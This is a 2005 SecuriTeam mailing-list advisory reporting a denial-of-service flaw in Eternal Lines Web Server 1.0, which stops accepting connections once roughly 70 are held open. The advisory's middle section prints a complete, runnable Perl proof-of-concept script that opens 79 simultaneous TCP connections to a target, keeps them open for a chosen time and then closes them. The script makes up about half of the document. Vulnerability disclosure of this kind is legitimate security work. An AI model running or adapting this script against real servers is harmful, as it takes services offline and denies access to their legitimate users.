[NT] Eternal Lines Web Server DoS
From: SecuriTeam (support_at_securiteam.com)
Date: 02/01/05
- Previous message: SecuriTeam: "[EXPL] TinyWeb Server DoS Exploit"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 1 Feb 2005 13:49:56 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Eternal Lines Web Server DoS
------------------------------------------------------------------------
SUMMARY
<http://www.eternallines.com/webserver/index.html> Eternal Lines Web
Server is "a free Web Server for use with Windows".
A vulnerability in Eternal Lines Web Server allows a remote attacker to
cause the program to no longer accept incoming connections by filling the
program's connection queues (approximately 70 connections).
DETAILS
Vulnerable Systems:
* Eternal Lines Web Server version 1.0
A remote user can open approximately 70 simultaneous connections from the
same host to cause the target web server to stop accepting connections.
Exploit:
##############################################################
#!/usr/bin/perl
##############################################################
# GSS-IT Research And Security Labs #
##############################################################
# #
# www.gssit.co.il #
# #
##############################################################
# Eternal Lines Web Server Ver 1.0 Denial Of Service POC #
##############################################################
use Socket;
$host = $ARGV[0];
$port = $ARGV[1];
$slp = $ARGV[2];
$proto = getprotobyname('tcp');
if (($#ARGV) < 2)
{
print("##########################################################\n");
print("# Eternal Lines Web Server Ver 1.0 Denial Of Service POC #\n");
print("##########################################################\n\n");
print("Use : \n\nperl $0 [Host] [Port] [Sleep] \n");
exit
}
print("##########################################################\n");
print("# Eternal Lines Web Server Ver 1.0 Denial Of Service POC #\n");
print("##########################################################\n");
for ($i=1; $i<80; $i++)
{
socket($i, PF_INET, SOCK_STREAM, $proto );
$dest = sockaddr_in ($port, inet_aton($host));
if (!(connect($i, $dest)))
{
Slp();
}
}
print("==> Unsuccesful <==");
exit;
sub Slp
{
print("\n\nServer $host Has Been Successfully DoS'ed\n\n");
print("The Server Will Be Down For $slp Seconds\n\n");
sleep ($slp);
print("==> Killing Connections ...<==\n");
for ($j=1; $j<80; $j++)
{
shutdown($j,2);
}
print ("[#] Back To Work Server Up [#] ");
exit;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:gss_it@yahoo.com> GSS IT.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[EXPL] TinyWeb Server DoS Exploit"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
|
